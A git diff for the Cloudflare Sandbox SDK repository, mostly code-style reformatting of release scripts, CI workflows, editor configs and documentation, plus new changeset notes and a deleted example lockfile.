diff --git a/.changeset/chilly-pugs-cross.md b/.changeset/chilly-pugs-cross.md new file mode 100644 index 00000000..2488cfb3 --- /dev/null +++ b/.changeset/chilly-pugs-cross.md @@ -0,0 +1,5 @@ +--- +'@cloudflare/sandbox': patch +--- + +Update dependencies diff --git a/.changeset/giant-paths-enjoy.md b/.changeset/giant-paths-enjoy.md new file mode 100644 index 00000000..79151b1f --- /dev/null +++ b/.changeset/giant-paths-enjoy.md @@ -0,0 +1,7 @@ +--- +'@cloudflare/sandbox': patch +--- + +Fix type generation + +We inline types from `@repo/shared` so that it includes the types we reexport. Fixes #165 diff --git a/.github/changeset-publish.ts b/.github/changeset-publish.ts index 7bac72e9..b5d011c6 100644 --- a/.github/changeset-publish.ts +++ b/.github/changeset-publish.ts @@ -1,8 +1,8 @@ -import { execSync } from "node:child_process"; +import { execSync } from 'node:child_process'; -execSync("npx tsx ./.github/resolve-workspace-versions.ts", { - stdio: "inherit", +execSync('npx tsx ./.github/resolve-workspace-versions.ts', { + stdio: 'inherit' }); -execSync("npx changeset publish", { - stdio: "inherit", +execSync('npx changeset publish', { + stdio: 'inherit' }); diff --git a/.github/changeset-version.ts b/.github/changeset-version.ts index ceaf9f3a..e2a85a38 100644 --- a/.github/changeset-version.ts +++ b/.github/changeset-version.ts @@ -1,25 +1,29 @@ -import { execSync } from "node:child_process"; -import * as fs from "node:fs"; -import fg from "fast-glob"; +import { execSync } from 'node:child_process'; +import * as fs from 'node:fs'; +import fg from 'fast-glob'; // This script is used by the `release.yml` workflow to update the version of the packages being released. // The standard step is only to run `changeset version` but this does not update the package-lock.json file. // So we also run `npm install`, which does this update. // This is a workaround until this is handled automatically by `changeset version`. // See https://github.com/changesets/changesets/issues/421. -execSync("npx changeset version", { - stdio: "inherit", +execSync('npx changeset version', { + stdio: 'inherit' }); -execSync("npm install", { - stdio: "inherit", +execSync('npm install', { + stdio: 'inherit' }); // Update all version references across the codebase after changeset updates package.json try { - const packageJson = JSON.parse(fs.readFileSync("./packages/sandbox/package.json", "utf-8")); + const packageJson = JSON.parse( + fs.readFileSync('./packages/sandbox/package.json', 'utf-8') + ); const newVersion = packageJson.version; - console.log(`\n๐Ÿ” Searching for version references to update to ${newVersion}...\n`); + console.log( + `\n๐Ÿ” Searching for version references to update to ${newVersion}...\n` + ); // Patterns to match version references in different contexts const versionPatterns = [ @@ -27,76 +31,76 @@ try { { pattern: /export const SDK_VERSION = '[\d.]+';/g, replacement: `export const SDK_VERSION = '${newVersion}';`, - description: "SDK version constant in version.ts", + description: 'SDK version constant in version.ts' }, // Docker image versions (production and test) { pattern: /FROM docker\.io\/cloudflare\/sandbox:[\d.]+/g, replacement: `FROM docker.io/cloudflare/sandbox:${newVersion}`, - description: "Production Docker image", + description: 'Production Docker image' }, { pattern: /# FROM docker\.io\/cloudflare\/sandbox:[\d.]+/g, replacement: `# FROM docker.io/cloudflare/sandbox:${newVersion}`, - description: "Commented production Docker image", + description: 'Commented production Docker image' }, { pattern: /FROM cloudflare\/sandbox-test:[\d.]+/g, replacement: `FROM cloudflare/sandbox-test:${newVersion}`, - description: "Test Docker image", + description: 'Test Docker image' }, { pattern: /docker\.io\/cloudflare\/sandbox-test:[\d.]+/g, replacement: `docker.io/cloudflare/sandbox-test:${newVersion}`, - description: "Test Docker image (docker.io)", + description: 'Test Docker image (docker.io)' }, // Image tags in docker commands { pattern: /cloudflare\/sandbox:[\d.]+/g, replacement: `cloudflare/sandbox:${newVersion}`, - description: "Docker image reference", + description: 'Docker image reference' }, { pattern: /cloudflare\/sandbox-test:[\d.]+/g, replacement: `cloudflare/sandbox-test:${newVersion}`, - description: "Test Docker image reference", + description: 'Test Docker image reference' }, // Example package.json dependencies { pattern: /"@cloudflare\/sandbox":\s*"\^[\d.]+"/g, replacement: `"@cloudflare/sandbox": "^${newVersion}"`, - description: "Example package.json @cloudflare/sandbox dependencies", - }, + description: 'Example package.json @cloudflare/sandbox dependencies' + } ]; // Files to search and update const filePatterns = [ - "**/*.md", // All markdown files - "**/Dockerfile", // All Dockerfiles - "**/Dockerfile.*", // Dockerfile variants - "**/*.ts", // TypeScript files (for documentation comments) - "**/*.js", // JavaScript files - "**/*.json", // JSON configs (but not package.json/package-lock.json) - "**/*.yaml", // YAML configs - "**/*.yml", // YML configs - "examples/**/package.json", // Example package.json files (exception to ignore rule below) + '**/*.md', // All markdown files + '**/Dockerfile', // All Dockerfiles + '**/Dockerfile.*', // Dockerfile variants + '**/*.ts', // TypeScript files (for documentation comments) + '**/*.js', // JavaScript files + '**/*.json', // JSON configs (but not package.json/package-lock.json) + '**/*.yaml', // YAML configs + '**/*.yml', // YML configs + 'examples/**/package.json' // Example package.json files (exception to ignore rule below) ]; // Ignore patterns const ignorePatterns = [ - "**/node_modules/**", - "**/dist/**", - "**/build/**", - "**/.git/**", - "**/package.json", // Don't modify package.json (changeset does this) - "**/package-lock.json", // Don't modify package-lock.json (npm install does this) - "**/.github/changeset-version.ts", // Don't modify this script itself + '**/node_modules/**', + '**/dist/**', + '**/build/**', + '**/.git/**', + '**/package.json', // Don't modify package.json (changeset does this) + '**/package-lock.json', // Don't modify package-lock.json (npm install does this) + '**/.github/changeset-version.ts' // Don't modify this script itself ]; // Find all matching files const files = await fg(filePatterns, { ignore: ignorePatterns, - onlyFiles: true, + onlyFiles: true }); console.log(`๐Ÿ“ Found ${files.length} files to check\n`); @@ -105,7 +109,7 @@ try { let totalReplacementsCount = 0; for (const file of files) { - let content = fs.readFileSync(file, "utf-8"); + let content = fs.readFileSync(file, 'utf-8'); let fileModified = false; let fileReplacementsCount = 0; @@ -123,14 +127,21 @@ try { fs.writeFileSync(file, content); updatedFilesCount++; totalReplacementsCount += fileReplacementsCount; - console.log(` โœ… ${file} (${fileReplacementsCount} replacement${fileReplacementsCount > 1 ? 's' : ''})`); + console.log( + ` โœ… ${file} (${fileReplacementsCount} replacement${ + fileReplacementsCount > 1 ? 's' : '' + })` + ); } } - console.log(`\nโœจ Updated ${totalReplacementsCount} version reference${totalReplacementsCount !== 1 ? 's' : ''} across ${updatedFilesCount} file${updatedFilesCount !== 1 ? 's' : ''}`); + console.log( + `\nโœจ Updated ${totalReplacementsCount} version reference${ + totalReplacementsCount !== 1 ? 's' : '' + } across ${updatedFilesCount} file${updatedFilesCount !== 1 ? 's' : ''}` + ); console.log(` New version: ${newVersion}\n`); - } catch (error) { - console.error("โŒ Failed to update file versions:", error); + console.error('โŒ Failed to update file versions:', error); // Don't fail the whole release for this } diff --git a/.github/resolve-workspace-versions.ts b/.github/resolve-workspace-versions.ts index 73617beb..6db5b214 100644 --- a/.github/resolve-workspace-versions.ts +++ b/.github/resolve-workspace-versions.ts @@ -1,8 +1,8 @@ // this looks for all package.jsons in /packages/**/package.json // and replaces it with the actual version ids -import * as fs from "node:fs"; -import fg from "fast-glob"; +import * as fs from 'node:fs'; +import fg from 'fast-glob'; // we do this in 2 passes // first let's cycle through all packages and get thier version numbers @@ -11,12 +11,12 @@ import fg from "fast-glob"; const packageJsons: Record = {}; for await (const file of await fg.glob( - "./(packages|examples|guides)/*/package.json" + './(packages|examples|guides)/*/package.json' )) { - const packageJson = JSON.parse(fs.readFileSync(file, "utf8")); + const packageJson = JSON.parse(fs.readFileSync(file, 'utf8')); packageJsons[packageJson.name] = { file, - packageJson, + packageJson }; } @@ -28,17 +28,17 @@ for (const [packageName, { file, packageJson }] of Object.entries( )) { let changed = false; for (const field of [ - "dependencies", - "devDependencies", - "peerDependencies", - "optionalDependencies", + 'dependencies', + 'devDependencies', + 'peerDependencies', + 'optionalDependencies' ]) { for (const [dependencyName, dependencyVersion] of Object.entries( packageJson[field] || {} )) { if (dependencyName in packageJsons) { let actualVersion = packageJsons[dependencyName].packageJson.version; - if (!actualVersion.startsWith("0.0.0-")) { + if (!actualVersion.startsWith('0.0.0-')) { actualVersion = `^${actualVersion}`; } diff --git a/.github/version-script.ts b/.github/version-script.ts index e2d45b54..d32db679 100644 --- a/.github/version-script.ts +++ b/.github/version-script.ts @@ -1,13 +1,13 @@ -import * as fs from "node:fs"; -import { execSync } from "node:child_process"; +import * as fs from 'node:fs'; +import { execSync } from 'node:child_process'; async function main() { try { - console.log("Getting current git hash..."); - const stdout = execSync("git rev-parse --short HEAD").toString(); - console.log("Git hash:", stdout.trim()); + console.log('Getting current git hash...'); + const stdout = execSync('git rev-parse --short HEAD').toString(); + console.log('Git hash:', stdout.trim()); - for (const path of ["./packages/sandbox/package.json"]) { - const packageJson = JSON.parse(fs.readFileSync(path, "utf-8")); + for (const path of ['./packages/sandbox/package.json']) { + const packageJson = JSON.parse(fs.readFileSync(path, 'utf-8')); packageJson.version = `0.0.0-${stdout.trim()}`; fs.writeFileSync(path, `${JSON.stringify(packageJson, null, 2)}\n`); } diff --git a/.github/workflows/claude-code-review.yml b/.github/workflows/claude-code-review.yml index deeefd50..7a5d267e 100644 --- a/.github/workflows/claude-code-review.yml +++ b/.github/workflows/claude-code-review.yml @@ -64,4 +64,3 @@ jobs: # See https://github.com/anthropics/claude-code-action/blob/main/docs/usage.md # or https://docs.claude.com/en/docs/claude-code/cli-reference for available options claude_args: '--allowed-tools "Bash(gh issue view:*),Bash(gh search:*),Bash(gh issue list:*),Bash(gh pr comment:*),Bash(gh pr diff:*),Bash(gh pr view:*),Bash(gh pr list:*),Bash(gh api:*)"' - diff --git a/.github/workflows/claude.yml b/.github/workflows/claude.yml index f8188951..501e5358 100644 --- a/.github/workflows/claude.yml +++ b/.github/workflows/claude.yml @@ -55,4 +55,3 @@ jobs: # See https://github.com/anthropics/claude-code-action/blob/main/docs/usage.md # or https://docs.claude.com/en/docs/claude-code/cli-reference for available options # claude_args: '--allowed-tools Bash(gh pr:*)' - diff --git a/.github/workflows/cleanup-stale.yml b/.github/workflows/cleanup-stale.yml index bf49cf3b..9ae4f9c2 100644 --- a/.github/workflows/cleanup-stale.yml +++ b/.github/workflows/cleanup-stale.yml @@ -21,7 +21,7 @@ jobs: - uses: actions/setup-node@v4 with: node-version: 24 - cache: "npm" + cache: 'npm' - name: Install dependencies run: npm ci diff --git a/.github/workflows/cleanup.yml b/.github/workflows/cleanup.yml index 5def40d6..345101b2 100644 --- a/.github/workflows/cleanup.yml +++ b/.github/workflows/cleanup.yml @@ -18,7 +18,7 @@ jobs: - uses: actions/setup-node@v4 with: node-version: 24 - cache: "npm" + cache: 'npm' - name: Install dependencies run: npm ci diff --git a/.github/workflows/pkg-pr-new.yml b/.github/workflows/pkg-pr-new.yml index f057bdd5..da272cb8 100644 --- a/.github/workflows/pkg-pr-new.yml +++ b/.github/workflows/pkg-pr-new.yml @@ -12,7 +12,6 @@ on: - '!**/*.md' - '!.changeset/**' - jobs: publish-preview: runs-on: ubuntu-latest @@ -28,7 +27,7 @@ jobs: uses: actions/setup-node@v4 with: node-version: 24 - cache: "npm" + cache: 'npm' - name: Setup Bun uses: oven-sh/setup-bun@v2 diff --git a/.github/workflows/pullrequest.yml b/.github/workflows/pullrequest.yml index ba355458..a6d520a0 100644 --- a/.github/workflows/pullrequest.yml +++ b/.github/workflows/pullrequest.yml @@ -21,7 +21,7 @@ jobs: - uses: actions/setup-node@v4 with: node-version: 24 - cache: "npm" + cache: 'npm' - uses: oven-sh/setup-bun@v2 with: @@ -72,7 +72,7 @@ jobs: - uses: actions/setup-node@v4 with: node-version: 24 - cache: "npm" + cache: 'npm' - uses: oven-sh/setup-bun@v2 with: diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index 69d2ee5f..82a791d6 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -22,7 +22,7 @@ jobs: - uses: actions/setup-node@v4 with: node-version: 24 - cache: "npm" + cache: 'npm' - uses: oven-sh/setup-bun@v2 with: @@ -78,7 +78,7 @@ jobs: - uses: actions/setup-node@v4 with: node-version: 24 - cache: "npm" + cache: 'npm' - uses: oven-sh/setup-bun@v2 with: @@ -131,7 +131,7 @@ jobs: - uses: actions/setup-node@v4 with: node-version: 24 - cache: "npm" + cache: 'npm' - uses: oven-sh/setup-bun@v2 with: diff --git a/.mcp.json b/.mcp.json index 0bad8dd3..c8b6435a 100644 --- a/.mcp.json +++ b/.mcp.json @@ -12,4 +12,4 @@ } } } -} \ No newline at end of file +} diff --git a/.prettierignore b/.prettierignore new file mode 100644 index 00000000..3a88a1b1 --- /dev/null +++ b/.prettierignore @@ -0,0 +1,4 @@ +packages/sandbox/CHANGELOG.md + +# Auto-generated Wrangler type files +**/worker-configuration.d.ts diff --git a/.prettierrc b/.prettierrc new file mode 100644 index 00000000..e9c0f50f --- /dev/null +++ b/.prettierrc @@ -0,0 +1,4 @@ +{ + "trailingComma": "none", + "singleQuote": true +} diff --git a/.vscode/settings.json b/.vscode/settings.json index 164341b5..9182bec3 100644 --- a/.vscode/settings.json +++ b/.vscode/settings.json @@ -1,15 +1,15 @@ { - "[javascript]": { - "editor.defaultFormatter": "biomejs.biome" - }, - "[json]": { - "editor.defaultFormatter": "biomejs.biome" - }, - "[typescript]": { - "editor.defaultFormatter": "biomejs.biome" - }, - "editor.codeActionsOnSave": { - "source.fixAll.biome": "explicit", - "source.organizeImports.biome": "explicit" - } -} \ No newline at end of file + "[javascript]": { + "editor.defaultFormatter": "biomejs.biome" + }, + "[json]": { + "editor.defaultFormatter": "biomejs.biome" + }, + "[typescript]": { + "editor.defaultFormatter": "biomejs.biome" + }, + "editor.codeActionsOnSave": { + "source.fixAll.biome": "explicit", + "source.organizeImports.biome": "explicit" + } +} diff --git a/CLAUDE.md b/CLAUDE.md index d95f6359..c6bc4a85 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -5,6 +5,7 @@ This file provides guidance to Claude Code (claude.ai/code) when working with co ## Documentation Resources **Always consult the Cloudflare Docs MCP when working on this repository.** The MCP provides comprehensive documentation about: + - API usage patterns and examples - Architecture concepts and best practices - Configuration reference (wrangler, Dockerfile) @@ -92,15 +93,17 @@ npm run docker:rebuild # Rebuild container image locally (includes clean bui ``` **Note:** Docker images are automatically built and published by CI (`release.yml`): + - Beta images on every main commit - Stable images when "Version Packages" PR is merged - Multi-arch builds (amd64, arm64) handled by CI -**Critical:** Docker image version MUST match npm package version (`@cloudflare/sandbox@0.4.12` โ†’ `cloudflare/sandbox:0.4.13`). This is enforced via `ARG SANDBOX_VERSION` in Dockerfile. +**Critical:** Docker image version MUST match npm package version. This is enforced via `ARG SANDBOX_VERSION` in Dockerfile. ### Development Server From an example directory (e.g., `examples/minimal/`): + ```bash npm run dev # Start wrangler dev server (builds Docker on first run) ``` @@ -116,12 +119,15 @@ npm run dev # Start wrangler dev server (builds Docker on first r 1. Make your changes 2. **Run code quality checks after any meaningful change:** + ```bash npm run check # Runs Biome linter + typecheck ``` + This catches type errors that often expose real issues with code changes. Fix any issues before proceeding. 3. **Run unit tests to verify your changes:** + ```bash npm test ``` @@ -129,9 +135,10 @@ npm run dev # Start wrangler dev server (builds Docker on first r 4. Create a changeset if your change affects published packages: Create a new file in `.changeset/` directory (e.g., `.changeset/your-feature-name.md`): + ```markdown --- - "@cloudflare/sandbox": patch + '@cloudflare/sandbox': patch --- Brief description of your change @@ -159,6 +166,7 @@ npm run dev # Start wrangler dev server (builds Docker on first r **Tests are critical** - they verify functionality at multiple levels and run on every PR. **Development practice:** After making any meaningful code change: + 1. Run `npm run check` to catch type errors (these often expose real issues) 2. Run `npm test` to verify unit tests pass 3. Run E2E tests if touching core functionality @@ -177,6 +185,7 @@ npm test -w @repo/sandbox-container # Container runtime tests (Bun) ``` **Architecture:** + - **SDK tests** (`packages/sandbox/tests/`) run in Workers runtime via `@cloudflare/vitest-pool-workers` - **Container tests** (`packages/sandbox-container/tests/`) run in Bun runtime - Mock container for isolated testing (SDK), no Docker required @@ -200,6 +209,7 @@ npm run test:e2e -- -- tests/e2e/git-clone-workflow.test.ts -t 'should handle cl ``` **Architecture:** + - Tests in `tests/e2e/` run against real Cloudflare Workers + Docker containers - **In CI**: Tests deploy to actual Cloudflare infrastructure and run against deployed workers - **Locally**: Each test file spawns its own `wrangler dev` instance @@ -208,6 +218,7 @@ npm run test:e2e -- -- tests/e2e/git-clone-workflow.test.ts -t 'should handle cl - Longer timeouts (2min per test) for container operations **CI behavior:** E2E tests in CI (`pullrequest.yml`): + 1. Build Docker image locally (`npm run docker:local`) 2. Deploy test worker to Cloudflare with unique name (pr-XXX) 3. Run E2E tests against deployed worker URL @@ -238,6 +249,7 @@ Entry point: `packages/sandbox-container/src/index.ts` starts Bun HTTP server on ## Monorepo Structure Uses npm workspaces + Turbo: + - `packages/sandbox`: Main SDK package - `packages/shared`: Shared types - `packages/sandbox-container`: Container runtime @@ -251,6 +263,7 @@ Turbo handles task orchestration (`turbo.json`) with dependency-aware builds. ### TypeScript **Never use the `any` type** unless absolutely necessary (which should be a final resort): + - First, look for existing types that can be reused appropriately - If no suitable type exists, define a proper type in the right location: - Shared types โ†’ `packages/shared/src/types.ts` or relevant subdirectory @@ -274,6 +287,7 @@ Turbo handles task orchestration (`turbo.json`) with dependency-aware builds. **Be concise, not verbose.** Every word should add value. Avoid unnecessary details about implementation mechanics - focus on what changed and why it matters. Example: + ``` Add session isolation for concurrent executions @@ -289,25 +303,29 @@ different users share the same sandbox instance. ## Important Patterns ### Error Handling + - Custom error classes in `packages/shared/src/errors/` - Errors flow from container โ†’ Sandbox DO โ†’ Worker - Use `ErrorCode` enum for consistent error types ### Logging + - Centralized logger from `@repo/shared` - Structured logging with component context - Configurable via `SANDBOX_LOG_LEVEL` and `SANDBOX_LOG_FORMAT` env vars ### Session Management + - Sessions isolate execution contexts (working directory, env vars, etc.) - Default session created automatically - Multiple sessions per sandbox supported ### Port Management + - Expose internal services via preview URLs - Token-based authentication for exposed ports - Automatic cleanup on sandbox sleep -- **Production requirement**: Preview URLs require custom domain with wildcard DNS (*.yourdomain.com) +- **Production requirement**: Preview URLs require custom domain with wildcard DNS (\*.yourdomain.com) - `.workers.dev` domains do NOT support the subdomain patterns needed for preview URLs - See Cloudflare docs for "Deploy to Production" guide when ready to expose services @@ -328,12 +346,14 @@ different users share the same sandbox instance. ## Container Base Image The container runtime uses Ubuntu 22.04 with: + - Python 3.11 (with matplotlib, numpy, pandas, ipython) - Node.js 20 LTS - Bun 1.x runtime (powers the container HTTP server) - Git, curl, wget, jq, and other common utilities When modifying the base image (`packages/sandbox/Dockerfile`), remember: + - Keep images lean - every MB affects cold start time - Pin versions for reproducibility - Clean up package manager caches to reduce image size diff --git a/biome.json b/biome.json index 8bf7a949..fe7078e8 100644 --- a/biome.json +++ b/biome.json @@ -1,64 +1,64 @@ { - "$schema": "https://biomejs.dev/schemas/2.2.5/schema.json", - "assist": { - "actions": { - "source": { - "useSortedKeys": "off" - } - }, - "enabled": true - }, - "files": { - "ignoreUnknown": false, - "includes": [ - "packages/**", - "!node_modules", - "!**/node_modules", - "!package.json", - "!**/package.json", - "!dist", - "!**/dist", - "!.wrangler", - "!**/.wrangler", - "!wrangler.jsonc", - "!**/wrangler.jsonc", - "!./tsconfig.json", - "!**/tsconfig.json", - "!**/normalize.css", - "!coverage", - "!**/coverage" - ] - }, - "formatter": { - "enabled": false, - "indentStyle": "tab" - }, - "linter": { - "enabled": true, - "rules": { - "a11y": { - "useKeyWithClickEvents": "off" - }, - "complexity": { - "noBannedTypes": "off" - }, - "correctness": { - "noUnusedFunctionParameters": "off", - "noUnusedImports": "off", - "noUnusedVariables": "off" - }, - "recommended": true, - "style": { - "noNonNullAssertion": "off" - }, - "suspicious": { - "noExplicitAny": "off" - } - } - }, - "vcs": { - "clientKind": "git", - "enabled": false, - "useIgnoreFile": false - } + "$schema": "https://biomejs.dev/schemas/2.3.2/schema.json", + "assist": { + "actions": { + "source": { + "useSortedKeys": "off" + } + }, + "enabled": true + }, + "files": { + "ignoreUnknown": false, + "includes": [ + "packages/**", + "!node_modules", + "!**/node_modules", + "!package.json", + "!**/package.json", + "!dist", + "!**/dist", + "!.wrangler", + "!**/.wrangler", + "!wrangler.jsonc", + "!**/wrangler.jsonc", + "!./tsconfig.json", + "!**/tsconfig.json", + "!**/normalize.css", + "!coverage", + "!**/coverage" + ] + }, + "formatter": { + "enabled": false, + "indentStyle": "tab" + }, + "linter": { + "enabled": true, + "rules": { + "a11y": { + "useKeyWithClickEvents": "off" + }, + "complexity": { + "noBannedTypes": "off" + }, + "correctness": { + "noUnusedFunctionParameters": "off", + "noUnusedImports": "off", + "noUnusedVariables": "off" + }, + "recommended": true, + "style": { + "noNonNullAssertion": "off" + }, + "suspicious": { + "noExplicitAny": "off" + } + } + }, + "vcs": { + "clientKind": "git", + "enabled": false, + "useIgnoreFile": false + } } diff --git a/docs/JUPYTER_NOTEBOOKS.md b/docs/JUPYTER_NOTEBOOKS.md index b9b438fb..ddaaaaf7 100644 --- a/docs/JUPYTER_NOTEBOOKS.md +++ b/docs/JUPYTER_NOTEBOOKS.md @@ -5,6 +5,7 @@ The Sandbox SDK provides lightweight code interpreters by default for optimal pe ## Overview This guide shows how to extend your sandbox container with Jupyter server to enable: + - Full Jupyter notebook interface at `http://your-preview-url:8888` - Interactive Python and JavaScript kernels - Rich visualizations and data analysis tools @@ -100,14 +101,14 @@ exec /container-server/startup.sh Once deployed, access Jupyter through your sandbox: ```typescript -import { getSandbox } from "@cloudflare/sandbox"; +import { getSandbox } from '@cloudflare/sandbox'; export default { async fetch(request, env) { - const sandbox = getSandbox(env.Sandbox, "jupyter-env"); + const sandbox = getSandbox(env.Sandbox, 'jupyter-env'); // Expose Jupyter port - const preview = await sandbox.exposePort(8888, { name: "jupyter" }); + const preview = await sandbox.exposePort(8888, { name: 'jupyter' }); return new Response(`Jupyter available at: ${preview.url}`); } @@ -118,38 +119,44 @@ export default { ```typescript // Create sample data files for analysis -await sandbox.writeFile("/workspace/sample_data.csv", ` +await sandbox.writeFile( + '/workspace/sample_data.csv', + ` date,sales,marketing_spend 2024-01-01,1200,450 2024-01-02,980,520 2024-01-03,1100,480 2024-01-04,1350,600 2024-01-05,1050,400 -`); +` +); // Create a starter notebook -await sandbox.writeFile("/workspace/analysis.ipynb", JSON.stringify({ - "cells": [ - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "import pandas as pd\nimport matplotlib.pyplot as plt\n\n# Load the sample data\ndf = pd.read_csv('sample_data.csv')\nprint(\"Data loaded successfully!\")\ndf.head()" - ] - } - ], - "metadata": { - "kernelspec": { - "display_name": "Python 3", - "language": "python", - "name": "python3" - } - }, - "nbformat": 4, - "nbformat_minor": 4 -})); +await sandbox.writeFile( + '/workspace/analysis.ipynb', + JSON.stringify({ + cells: [ + { + cell_type: 'code', + execution_count: null, + metadata: {}, + outputs: [], + source: [ + 'import pandas as pd\nimport matplotlib.pyplot as plt\n\n# Load the sample data\ndf = pd.read_csv(\'sample_data.csv\')\nprint("Data loaded successfully!")\ndf.head()' + ] + } + ], + metadata: { + kernelspec: { + display_name: 'Python 3', + language: 'python', + name: 'python3' + } + }, + nbformat: 4, + nbformat_minor: 4 + }) +); // Expose Jupyter interface const preview = await sandbox.exposePort(8888); diff --git a/docs/SESSION_EXECUTION.md b/docs/SESSION_EXECUTION.md index 465f6df1..3a4d44f6 100644 --- a/docs/SESSION_EXECUTION.md +++ b/docs/SESSION_EXECUTION.md @@ -3,6 +3,7 @@ This document explains how the container session executes commands reliably while preserving shell state and separating stdout/stderr. ## Goals + - Preserve session state across commands (cwd, env vars, shell functions) - Cleanly separate stdout and stderr for each command - Be robust to commands that produce no output (e.g., `cd`, `mkdir`, variable assignment) @@ -11,6 +12,7 @@ This document explains how the container session executes commands reliably whil ## Two Execution Modes ### Foreground (`exec`) + - Runs in the main bash shell so state persists across commands. - Uses bash process substitution to prefix stdout/stderr inline and append to the per-command log file. - After the command returns, we `wait` to ensure process-substitution consumers finish writing to the log before we write the exit code file. @@ -19,6 +21,7 @@ This document explains how the container session executes commands reliably whil - Process substitution keeps execution local to the main shell and avoids FIFO semantics entirely. Pseudo: + ``` # Foreground { command; } \ @@ -32,6 +35,7 @@ echo "$EXIT_CODE" > "$exit.tmp" && mv "$exit.tmp" "$exit" ``` ### Background (`execStream` / `startProcess`) + - Uses named FIFOs and background labelers: - Create two FIFOs (stdout/stderr) - Start two background readers (labelers) that read each FIFO and prepend a binary prefix per line, appending to the log @@ -40,6 +44,7 @@ echo "$EXIT_CODE" > "$exit.tmp" && mv "$exit.tmp" "$exit" - This pattern works well for concurrent streaming and avoids blocking the main shell. Pseudo: + ``` mkfifo "$sp" "$ep" ( while read; printf "\x01\x01\x01%s\n" "$REPLY"; done < "$sp" ) >> "$log" & r1=$! @@ -54,6 +59,7 @@ mkfifo "$sp" "$ep" ``` ## Binary Prefix Contract + - We use short binary prefixes per line to distinguish streams: - Stdout lines: `\x01\x01\x01` - Stderr lines: `\x02\x02\x02` @@ -61,25 +67,30 @@ mkfifo "$sp" "$ep" - Unprefixed lines (should not occur) are ignored. ## Completion Signaling + - For each command we write an exit code file: `.exit` with the numeric exit code. - The container waits for this file using a hybrid `fs.watch` + polling approach to be robust on tmpfs/overlayfs where rename events may be missed. - Exit file writes are performed via `tmp` + `mv` for atomicity. ## Error Handling and Limits + - Invalid `cwd` (foreground): we write a prefixed stderr line (binary prefix) indicating the failure and return exit code `1`. - Output size limit: large logs are rejected during parsing to protect memory (`MAX_OUTPUT_SIZE_BYTES`). - Timeouts: foreground commands can be configured to time out; an error is raised if the exit file does not appear in time. ## Why Two Patterns? + - Foreground requires state persistence in the main shell. Process substitution provides reliable separation without cross-process FIFO races. - Background requires concurrent streaming and process tracking (PID etc.), which is well-served by FIFOs + labelers without blocking the main shell. ## Testing Notes + - Foreground tests cover silent commands (`cd`, variable assignment), error scenarios, multiline output, and size limits. - Background/streaming tests cover concurrent output, stderr separation, and completion events. - The previous hang class was caused by FIFO open/close races in foreground on silent commands; process substitution removes this class entirely. ## FAQ + - Why not unify on a single mechanism? - Foreground needs state persistence and deterministic completion without cross-process scheduling hazards; process substitution is ideal. - Background needs streaming and concurrency; FIFOs provide clean decoupling. diff --git a/examples/claude-code/README.md b/examples/claude-code/README.md index d5a3d842..00772564 100644 --- a/examples/claude-code/README.md +++ b/examples/claude-code/README.md @@ -1,7 +1,9 @@ # Claude Code ๐Ÿงก Sandbox SDK + Run Claude Code for on Cloudflare Sandboxes! This example shows a basic setup that does the following: + - The worker accepts POST requests that include a repository URL and a task description -- The worker spawns a sandbox, clones the repository and starts Claude Code in headless mode with the provided task +- The worker spawns a sandbox, clones the repository and starts Claude Code in headless mode with the provided task - Claude Code will edit all necessary files and return when done - The Worker will return a response with the output logs from Claude and the diff left on the repo. diff --git a/examples/claude-code/package-lock.json b/examples/claude-code/package-lock.json deleted file mode 100644 index a644ab5a..00000000 --- a/examples/claude-code/package-lock.json +++ /dev/null @@ -1,1599 +0,0 @@ -{ - "name": "@cloudflare/sandbox-claude-code-example", - "version": "1.0.0", - "lockfileVersion": 3, - "requires": true, - "packages": { - "": { - "name": "@cloudflare/sandbox-claude-code-example", - "version": "1.0.0", - "license": "MIT", - "devDependencies": { - "@cloudflare/sandbox": "^0.4.3", - "@types/node": "^24.9.1", - "typescript": "^5.8.3", - "wrangler": "^4.44.0" - } - }, - "node_modules/@cloudflare/containers": { - "version": "0.0.28", - "resolved": "https://registry.npmjs.org/@cloudflare/containers/-/containers-0.0.28.tgz", - "integrity": "sha512-wzR9UWcGvZ9znd4elkXklilPcHX6srncsjSkx696SZRZyTygNbWsLlHegvc1C+e9gn28HRZU3dLiAzXiC9IY1w==", - "dev": true, - "license": "ISC" - }, - "node_modules/@cloudflare/kv-asset-handler": { - "version": "0.4.0", - "resolved": "https://registry.npmjs.org/@cloudflare/kv-asset-handler/-/kv-asset-handler-0.4.0.tgz", - "integrity": "sha512-+tv3z+SPp+gqTIcImN9o0hqE9xyfQjI1XD9pL6NuKjua9B1y7mNYv0S9cP+QEbA4ppVgGZEmKOvHX5G5Ei1CVA==", - "dev": true, - "license": "MIT OR Apache-2.0", - "dependencies": { - "mime": "^3.0.0" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@cloudflare/sandbox": { - "version": "0.4.4", - "resolved": "https://registry.npmjs.org/@cloudflare/sandbox/-/sandbox-0.4.4.tgz", - "integrity": "sha512-aO2JZnNzWE7Flr8pMaNQeddg9RWraFU2QWCj45oHl9KhDin3GQqiQCREFR4qmz6sDlv7OfPbQ+IApAqk9jmUfQ==", - "dev": true, - "license": "ISC", - "dependencies": { - "@cloudflare/containers": "^0.0.28" - } - }, - "node_modules/@cloudflare/unenv-preset": { - "version": "2.7.8", - "resolved": "https://registry.npmjs.org/@cloudflare/unenv-preset/-/unenv-preset-2.7.8.tgz", - "integrity": "sha512-Ky929MfHh+qPhwCapYrRPwPVHtA2Ioex/DbGZyskGyNRDe9Ru3WThYZivyNVaPy5ergQSgMs9OKrM9Ajtz9F6w==", - "dev": true, - "license": "MIT OR Apache-2.0", - "peerDependencies": { - "unenv": "2.0.0-rc.21", - "workerd": "^1.20250927.0" - }, - "peerDependenciesMeta": { - "workerd": { - "optional": true - } - } - }, - "node_modules/@cloudflare/workerd-darwin-64": { - "version": "1.20251011.0", - "resolved": "https://registry.npmjs.org/@cloudflare/workerd-darwin-64/-/workerd-darwin-64-1.20251011.0.tgz", - "integrity": "sha512-0DirVP+Z82RtZLlK2B+VhLOkk+ShBqDYO/jhcRw4oVlp0TOvk3cOVZChrt3+y3NV8Y/PYgTEywzLKFSziK4wCg==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "Apache-2.0", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": ">=16" - } - }, - "node_modules/@cloudflare/workerd-darwin-arm64": { 